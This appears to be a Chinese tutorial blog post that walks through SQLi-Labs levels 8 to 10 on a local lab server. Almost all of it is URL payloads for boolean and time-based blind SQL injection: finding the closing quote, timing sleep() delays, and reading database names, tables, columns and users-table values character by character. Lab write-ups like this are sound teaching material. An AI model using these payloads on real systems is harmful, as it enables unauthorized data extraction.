SqliLab_Mysql_Injection详解_字符型注入(五)_时间盲注(8~10)

文章目录

1. SqliLab_Mysql_Injection详解_字符型注入(五)
1.1. SQL注入_时间盲注
1.1.1. 原理

当在服务器后台关闭了返回页面的错误回显或过滤了某些关键字,返回的网页只会返回一种状态(无法通过传统的布尔盲注(true or false)来判断了),这时候就需要用到时间盲注了,时间盲注成功时,服务器会由于执行了构造语句中的sleep()函数,休眠一定的时间,再返回数据;通过观察浏览器客户端发送请求,到服务器返回页面的时间延迟,来判断sleep()函数之前的,构造语句的执行结果是否正确,从而判断出是否存在时间盲注,或者盲注payload返回结果是否等同于预期;

1.1.2. 常用的函数
  • if(1,2,3):如果语句1为True,则执行语句2,否则执行语句3;
  • sleep(x):执行时间延迟x秒;
  • ascii(char):将char转换为对应的ascii码值
  • substr(string,start,len):从string的start位开始截取len个字符;
  • Benchmark(x,1):执行表达式1,x次(会消耗CPU,慎用);

EG:

> if(ascii(substr(查询语句,start,1))=97,sleep(3),1);
  //ASCII查询语句执行成功时,执行sleep(3),休眠三秒;执行错误时,执行1;
2. SqliLab关卡(包含8,9,10)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-8(布尔盲注/时间盲注(单引号闭合)):
2.1.1. 初始界面

在这里插入图片描述

2.1.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:

> http://192.168.1.104/sql/Less-8/?id=1 and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
---------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1 and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
---------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
---------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and 1=2 --+
  //服务器返回页面错误(预期错误),判断出参数‘id’存在注入,闭合字符为【'】;

在这里插入图片描述
在这里插入图片描述
由此,判断出参数‘id’存在注入(or/xor一样),闭合字符为【’】;
EG:
判断服务器返回页面是否存在SQL语句报错信息提示;

> http://192.168.1.104/sql/Less-8/?id=1""" and 1=1 --+
  //服务器返回页面正确(预期错误提示),尝试用(“))代替(""")进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1") and 1=1 --+
  //服务器返回页面正确(预期错误提示),尝试用(“)))代替("))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1")) and 1=1 --+
  //服务器返回页面正确(预期错误提示),尝试用()")代替(")))进行构造; 
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1)" and 1=1 --+
  //服务器返回页面正确(预期错误提示),尝试用())")代替()")进行构造; 
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1))" and 1=1 --+
  //服务器返回页面正确(预期错误提示),尝试用(^%?)代替())")进行构造; 
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1^%? and 1=1 --+
  //服务器返回页面正确(预期错误提示),尝试用(...)代替(^%?)进行构造;
--------------------------------------------------------------
  ... 

经过尝试,服务器返回页面不存在SQL语句报错信息提示;
再次判断是否存在时间注入,通过判断出的闭合字符(’)进行尝试;
EG:

> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(4),1) --+
  //服务器返回延迟为5秒(1秒查询,4秒休眠),尝试sleep(5);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(5),1) --+
  //服务器返回延迟为6秒(1秒查询,5秒休眠),尝试sleep(7); 
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(7),1) --+
  //服务器返回延迟为8秒(1秒查询,7秒休眠),尝试sleep(9); 
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(9),1) --+
  //服务器返回延迟为10秒(1秒查询,9秒休眠),基本可以判断参数(id)存在时间注入;

在这里插入图片描述
在这里插入图片描述
经过测试,参数(id)存在时间注入;
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在无回显和无报错提示的情况,这时候如果再利用UNION联合查询法查看显位以及报错注入的方式就失效了,只能基于SQL语句的True or False进行盲注了(布尔盲注或者基于时间的盲注);

2.1.3. 收集信息

由于不存在服务器返回页面回显和报错情况,只能使用盲注的方式获取想要的信息;
EG:
布尔盲注(使用left(),length(),ascii(),substr()/substring()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and left(version(),1)='5' --+
  //返回mysql版本的第一个字符,已查询到为(5);
----------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and ascii(substr(@@datadir,1,1))='71' --+
  //返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
----------------------------------------------------------------------------------
  ...

EG:
时间盲注(使用left(),length(),ascii(),substr()/substring(),if(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if(left(version(),1)='5',sleep(5),1) --+
  //返回mysql版本的第一个字符,已查询到为(5)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr(@@datadir,1,1))='71',sleep(5),1) --+
  //返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------

在这里插入图片描述
查询到一些数据库信息如,数据库版本,数据库安装路径等;

2.1.4. 求当前数据库名(字符或者ASCII值)

布尔盲注(使用left()函数构造链接):
EG:

> http://192.168.1.104/sql/Less-8/?id=1' and left(database(),1)='s'--+
  //返回当前数据库名的第一个字符,已查询到为(s);
----------------------------------------------------------------------
  ...

时间盲注(使用if(),ascii(),substr()/substring(),sleep()函数构造链接):
EG:

> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))='115',sleep(5),1)--+
  //返回当前数据库名的第一个字符的ASCII值,已查询到为(115),转换字符为(s)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到当前数据库名的值为(security);

2.1.5. 求当前数据库中表的数量

EG:
布尔盲注(使用count()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and (select count(table_name) from information_schema.tables 
  where table_schema=database())=4--+
  //返回当前数据库中表的数量,已查询到为(4);

EG:
时间盲注(使用if(),count(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if((select count(table_name) from information_schema.tables 
  where table_schema=database())=4,sleep(5),1)--+
  //返回当前数据库中表的数量,已查询到为(4)(1秒查询,5秒休眠);

在这里插入图片描述
当前数据库中表的数量为(4);

2.1.6. 求当前数据库中的各个表的长度

EG:
布尔盲注(使用length()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and length((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1))=6 --+
  // 返回当前数据库中的第一个表的长度,已查询到为(6);
-----------------------------------------------------------------------------------------------------
  ...

EG:
时间盲注(使用if(),length(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if(length((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1))=6,sleep(5),1) --+
  // 返回当前数据库中的第一个表的长度,已查询到为(6)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到当前数据库‘security’中的各个表的长度依次为(6,8,7,5);

2.1.7. 求当前数据库中的各个表的表名(字符或者ASCII值)

EG:
布尔盲注(使用left()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and left((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1),1)='e' --+ 
  //返回当前数据库中的第一个表的表名的第一个字符;已查询到为(e);
---------------------------------------------------------------------------------------------------
  ...

EG:
时间盲注(使用if(),ascii(),substr()/substring(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
--------------------------------------------------------------------------------------------------------------
  //返回当前数据库中的第一个表的表名的第一个字符的ASCII值;已查询到为(101)转换字符为(e)(1秒查询,5秒休眠);
  ...

在这里插入图片描述
查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);

2.1.8. 求‘users’表中的字段数量

EG:
布尔盲注(使用count()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and (select count(column_name) from information_schema.columns 
  where table_name='users')=3--+
  //返回‘users’表中的字段数量,已查询到为(3);

EG:
时间盲注(使用if(),count(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.columns 
  where table_name='users')=3,sleep(5),1) --+
  //返回‘users’表中的字段数量,已查询到为(3)(1秒查询,5秒休眠);

在这里插入图片描述
查询到users’表中的字段数量为(3);

2.1.9. 求‘users’表中的各个字段的长度

EG:
布尔盲注(使用length()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and length((select column_name from information_schema.columns 
  where table_name='users' limit 0,1))=2 --+
  //返回‘users’表的第一个字段的长度,已查询到为(2);
-------------------------------------------------------------------------------------------------------
  ...

EG:
时间盲注(使用if(),length(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if(length((select column_name from information_schema.columns 
  where table_name='users' limit 0,1))=2,sleep(5),1) --+
  //返回‘users’表的第一个字段的长度,已查询到为(2)(1秒查询,5秒休眠);
---------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到‘users’表中的各个字段的长度依次为(2,8,8);

2.1.10. 求‘users’表中的各个字段的值(字符或者ASCII值)

EG:
布尔盲注(使用left()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and left((select column_name from information_schema.columns 
  where table_name='users' limit 0,1),1)='i' --+  
  //返回‘users’表的第一个字段的第一个字符,已查询到为(i);
-----------------------------------------------------------------------------------------------------
  ...

EG:
时间盲注(使用if(),ascii(),substr(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns 
  where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+  
  //返回‘users’表的第一个字段的第一个字符的ASCII值,已查询到为(105),转换字符为(i)(1秒查询,5秒休眠);
----------------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到‘users’表中的三个字段的值依次为(id,username,password);

2.1.11. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)

求‘users’表中的第一个字段‘id’的第一条信息;
EG:
布尔盲注(使用ascii(),substr()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and ascii(substr((select id from users limit 0,1),1,1))=49--+
  //返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1);
------------------------------------------------------------------------------------------------------
  ...

EG:
时间盲注(使用if(),ascii(),substr(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr((select id from users limit 0,1),1,1))=49,sleep(5),1)--+
  //返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1)(1秒查询,5秒休眠);
---------------------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
同理对于字段(username,password)的值信息也是采取一样的方式进行查询,查询其他的值也是同上面的方法一致;到此,SQL注入(布尔盲注/时间盲注)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-8结束;

2.2. SqliLab-9(时间盲注(单引号闭合)):
2.2.1. 初始界面

在这里插入图片描述

2.2.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:

> http://192.168.1.104/sql/Less-9/?id=1 and 1=1 --+ 
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1 and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用(")代替(')进行构造; 
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1" and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1" and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用())代替(")进行构造;
> http://192.168.1.104/sql/Less-9/?id=1) and 1=1 --+ 
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1) and 1=2 --+ 
  //服务器返回页面正确(预期错误),尝试用('))代替())进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1') and 1=1 --+ 
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1') and 1=2 --+ 
  //服务器返回页面正确(预期错误),尝试用("))代替('))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1") and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1") and 1=2 --+
  //服务器返回页面正确(预期错误),经过尝试发现,所有尝试的结果,服务器返
  //回的页面都是正确的, 考虑返回的页面可能只有一种返回结果,尝试是否存在
  //时间注入存在,用符号字符进行尝试(故意构造错误的语句,查看服务器返回页
  //面的情况),用(&*%^)代替("))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1&*%^ and 1=1--+ 
  //服务器返回页面无改变(预期无改变),尝试用(@@$&!)代替(&*%^)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1@@$&!  and 1=1--+ 
  //服务器返回页面无改变(预期无改变),尝试用(~~^@#)代替(@@$&!)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1~~^@#  and 1=1--+
  //服务器返回页面无改变(预期无改变), 考虑对是否存在时间注入点,尝试用sleep()
  //函数进行构造;
> http://192.168.1.104/sql/Less-9/?id=1 and if(1=1,sleep(4),1) --+
  //服务器返回延迟为1秒,尝试用(')代替()进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(4),1) --+
  //服务器返回延迟为5秒(1秒查询,4秒休眠),尝试sleep(5);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(5),1) --+
  //服务器返回延迟为6秒(1秒查询,5秒休眠),尝试sleep(7); 
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(7),1) --+
  //服务器返回延迟为8秒(1秒查询,7秒休眠),尝试sleep(9); 
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(9),1) --+
  //服务器返回延迟为10秒(1秒查询,9秒休眠),基本可以判断参数(id)存在时间注入,
  //闭合字符为(');
---------------------------------------------------------------------
  ... 

经过尝试知道,参数id存在时间注入,且闭合字符为(’);
在这里插入图片描述
知道了注入点以及可以采用的注入方式后,就很好构造payload去获取想要获取的信息了,这里采用时间盲注的策略;
收集信息
EG:
使用left(),length(),ascii(),substr()/substring(),if(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if(left(version(),1)='5',sleep(5),1) --+
  //返回mysql版本的第一个字符,已查询到为(5)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr(@@datadir,1,1))='71',sleep(5),1) --+
  //返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------

在这里插入图片描述
查询到一些数据库信息如,数据库版本,数据库安装路径等;

2.2.3. 求当前数据库名(字符或者ASCII值)

EG:
使用if(),ascii(),substr()/substring(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr(database(),1,1))='115',sleep(5),1)--+
  //返回当前数据库名的第一个字符的ASCII值,已查询到为(115),转换字符为(s)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到当前数据库名的值为(security);

2.2.4. 求当前数据库中表的数量

EG:
使用if(),count(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if((select count(table_name) from information_schema.tables 
  where table_schema=database())=4,sleep(5),1)--+
  //返回当前数据库中表的数量,已查询到为(4)(1秒查询,5秒休眠);

在这里插入图片描述
当前数据库中表的数量为(4);

2.2.5. 求当前数据库中的各个表的长度

EG:
使用if(),length(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if(length((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1))=6,sleep(5),1) --+
  // 返回当前数据库中的第一个表的长度,已查询到为(6)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到当前数据库‘security’中的各个表的长度依次为(6,8,7,5);

2.2.6. 求当前数据库中的各个表的表名(字符或者ASCII值)

EG:
使用if(),ascii(),substr()/substring(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
--------------------------------------------------------------------------------------------------------------
  //返回当前数据库中的第一个表的表名的第一个字符的ASCII值;已查询到为(101)转换字符为(e)(1秒查询,5秒休眠);
  ...

在这里插入图片描述
查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);

2.2.7. 求‘users’表中的字段数量

EG:
使用if(),count(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if((select count(column_name) from information_schema.columns 
  where table_name='users')=3,sleep(5),1) --+
  //返回‘users’表中的字段数量,已查询到为(3)(1秒查询,5秒休眠);

在这里插入图片描述
查询到users’表中的字段数量为(3);

2.2.8. 求‘users’表中的各个字段的长度

EG:
时间盲注(使用if(),length(),sleep()函数构造链接):

> http://192.168.1.104/sql/Less-9/?id=1' and if(length((select column_name from information_schema.columns 
  where table_name='users' limit 0,1))=2,sleep(5),1) --+
  //返回‘users’表的第一个字段的长度,已查询到为(2)(1秒查询,5秒休眠);
----------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到‘users’表中的各个字段的长度依次为(2,8,8);

2.2.9. 求‘users’表中的各个字段的值(字符或者ASCII值)

EG:
使用if(),ascii(),substr(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns 
  where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+  
  //返回‘users’表的第一个字段的第一个字符的ASCII值,已查询到为(105),转换字符为(i)(1秒查询,5秒休眠);
----------------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
查询到‘users’表中的三个字段的值依次为(id,username,password);

2.2.10. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)

求‘users’表中的第一个字段‘id’的第一条信息;
EG:
使用if(),ascii(),substr(),sleep()函数构造链接:

> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr((select id from users limit 0,1),1,1))=49,sleep(5),1)--+
  //返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1)(1秒查询,5秒休眠);
 --------------------------------------------------------------------------------------------------------------------
  ...

在这里插入图片描述
同理对于字段(username,password)的值信息也是采取一样的方式进行查询,查询其他的值也是同上面的方法一致;到此,时间盲注的基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-9结束;

2.3. SqliLab-10(时间盲注(双引号闭合)):
2.3.1. 初始界面

在这里插入图片描述

2.3.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:

> http://192.168.1.104/sql/Less-10/?id=1 and 1=1 --+ 
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1 and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1' and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1' and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用(")代替(')进行构造; 
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用())代替(")进行构造;
> http://192.168.1.104/sql/Less-10/?id=1) and 1=1 --+ 
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1) and 1=2 --+ 
  //服务器返回页面正确(预期错误),尝试用('))代替())进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1') and 1=1 --+ 
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1') and 1=2 --+ 
  //服务器返回页面正确(预期错误),尝试用("))代替('))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1") and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1") and 1=2 --+
  //服务器返回页面正确(预期错误),经过尝试发现,所有尝试的结果,服务器返
  //回的页面都是正确的, 考虑返回的页面可能只有一种返回结果,尝试是否存在
  //时间注入存在,用符号字符进行尝试(故意构造错误的语句,查看服务器返回页
  //面的情况),用(&*%^)代替("))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1&*%^ and 1=1--+ 
  //服务器返回页面无改变(预期无改变),尝试用(@@$&!)代替(&*%^)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1@@$&!  and 1=1--+ 
  //服务器返回页面无改变(预期无改变),尝试用(~~^@#)代替(@@$&!)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1~~^@#  and 1=1--+
  //服务器返回页面无改变(预期无改变), 考虑对是否存在时间注入点,尝试用sleep()
  //函数进行构造;
> http://192.168.1.104/sql/Less-10/?id=1 and if(1=1,sleep(4),1) --+
  //服务器返回延迟为1秒,尝试用(')代替()进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1' and if(1=1,sleep(4),1) --+
  //服务器返回延迟为1秒,尝试用(")代替(')进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(4),1) --+
  //服务器返回延迟为5秒(1秒查询,4秒休眠),尝试sleep(5);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(5),1) --+
  //服务器返回延迟为6秒(1秒查询,5秒休眠),尝试sleep(7); 
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(7),1) --+
  //服务器返回延迟为8秒(1秒查询,7秒休眠),尝试sleep(9); 
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(9),1) --+
  //服务器返回延迟为10秒(1秒查询,9秒休眠),基本可以判断参数(id)存在时间注入,
  //闭合字符为(');
---------------------------------------------------------------------
  ... 

在这里插入图片描述
经过尝试知道,参数id存在时间注入,且闭合字符为(");
知道了注入点以及可以采用的注入方式后,就很好构造payload去获取想要获取的信息了,这里采用时间盲注的策略,具体流程和SqliLab-9的一模一样(只是payload的URL链接(9转变为10)和参数的字符闭合方式发生变化('转变为")),SqliLab-10结束;

3. 总结

通过多次对练习题的注入的经历,大概也简单了解了一些知识,如最开始的注入点的判断是非常的重要,确定了注入点,才能根据具体的条件选择快捷的注入方式获取数据库信息,同时,也知道在对字符型注入的注入点的判断是十分耗费时间的(闭合字符的组合方式以及根据服务器返回页面的情况调整判断payload等),可以考虑自行编写脚本进行注入点尝试,基本上注入点判断好后,后续的注入方式能很快的选择,以及payload都能很快构造出来了;基于时间的盲注,可以用于一些服务器返回页面没有差异的情况(比如登录界面,采集登录用户信息的模块页面,差异页面不是由URL中的SQL语句来决定的等)。

[如有错误,请指出,拜托了<( _ _ )> !!!]

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值